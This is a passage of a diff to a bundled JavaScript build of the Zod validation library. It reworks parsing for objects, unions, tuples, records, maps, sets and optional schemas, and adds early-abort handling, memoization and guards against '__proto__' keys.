}, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -57877,41 +58417,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject3 = isObject2; @@ -57922,12 +58457,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57938,7 +58473,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -57965,17 +58500,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -58009,12 +58544,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -58027,7 +58566,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -58061,55 +58601,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -58120,8 +58688,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -58131,9 +58699,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -58154,7 +58722,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -58190,37 +58762,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -58229,59 +58813,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -58292,14 +58888,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -58310,10 +58907,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -58323,7 +58924,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -58334,25 +58935,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -58369,7 +58974,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -58386,26 +58993,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -58423,7 +59038,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -58436,21 +59054,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -58460,36 +59090,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -58497,7 +59137,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -58510,7 +59150,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -58521,11 +59161,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -58533,8 +59175,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -58545,6 +59194,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -58557,16 +59207,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -58574,21 +59227,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -58597,13 +59250,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -58612,16 +59265,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -58629,59 +59282,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const 